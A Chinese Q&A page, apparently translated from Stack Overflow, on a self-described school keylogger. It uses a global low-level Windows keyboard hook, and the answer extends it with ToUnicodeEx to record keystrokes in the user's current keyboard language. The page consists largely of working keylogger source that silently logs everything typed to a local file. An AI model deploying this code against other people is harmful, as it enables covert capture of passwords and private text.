首页 > 解决方案 > Windows Hook 保存语言字符

问题描述

好吧,我有一个简单的程序可以保存按键。但它仅适用于英文键盘。它无法检测到任何其他键盘,例如我的斯洛伐克语。单词“škola”被保存为“3kola”。因为“3”和“š”是键盘上的同一个按钮。

#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <stdio.h>


HHOOK _hook;
FILE *LOG;
KBDLLHOOKSTRUCT kbdStruct;
char xxx;
LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (nCode >= 0)
    {
        if (wParam == WM_KEYDOWN)
        {
            kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
            if (kbdStruct.vkCode != 0);
            {
                switch (kbdStruct.vkCode)
                {
                case VK_ESCAPE:
                    fprintf(LOG, "[ESC]");
                    break;
                default:

                    fprintf(LOG, "%c", kbdStruct.vkCode);
                    break;
                }
                fflush(LOG);
            }
        }
    }
    return CallNextHookEx(_hook, nCode, wParam, lParam);
}

void SetHook()
{
    _hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0);
}

void main()
{
    LOG = fopen("log.txt", "a+" );
    SetHook();
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0))
    {
    }
    fclose(LOG);
}

我想要做的是保存当前本地语言的字符。例如。我用斯洛伐克语“žiak”写了一个词,然后我将本地更改为英语,然后用英语写了一些东西,然后用捷克语写了一些东西。我该如何做到这一点,用户输入将始终使用本地语言字符保存。(是的,它的键盘记录器,但这是在学校学习 C 的有趣方式,我们确实做了一些循环和写入文本文件,这是我所知道的一切:/)我发现了一些关于 wm_char 的东西可以解决我的问题,但我不知道如何用它。

标签: cwinapikeyboardmultilingual

解决方案


如果要保留低级键盘挂钩,而不是使用消息挂钩,则必须将挂钩函数中收到的键代码和键盘状态转换为基于当前语言环境的 UTF8 字符串:

LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (nCode >= 0)
    {
        if (wParam == WM_KEYDOWN)
        {
            kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
            if (kbdStruct.vkCode != 0)
            {
                switch (kbdStruct.vkCode)
                {
                case VK_ESCAPE:
                    fprintf(LOG, "[ESC]");
                    break;
                default:
                    unsigned char keyboardState[256];
                    for (int i = 0; i < 256; ++i)
                        keyboardState[i] = static_cast<unsigned char>(GetKeyState(i));

                    wchar_t wbuffer[3] = { 0 };

                    int result = ToUnicodeEx(
                        kbdStruct.vkCode, 
                        kbdStruct.scanCode, 
                        keyboardState, 
                        wbuffer, 
                        sizeof(wbuffer) / sizeof(wchar_t), 
                        0, 
                        GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), NULL)));
                    if (result > 0)
                    {
                        char buffer[5] = { 0 };
                        WideCharToMultiByte(CP_UTF8, 0, wbuffer, 1, buffer, sizeof(buffer) / sizeof(char), 0, 0);
                        fprintf(LOG, "%s", buffer);
                    }

                    break;
                }
                fflush(LOG);
            }
        }
    }
    return CallNextHookEx(_hook, nCode, wParam, lParam);
}

ToUnicodeEx是执行翻译的函数。除了键码之外,它还需要键盘状态,因为修饰键可能会改变字符。


推荐阅读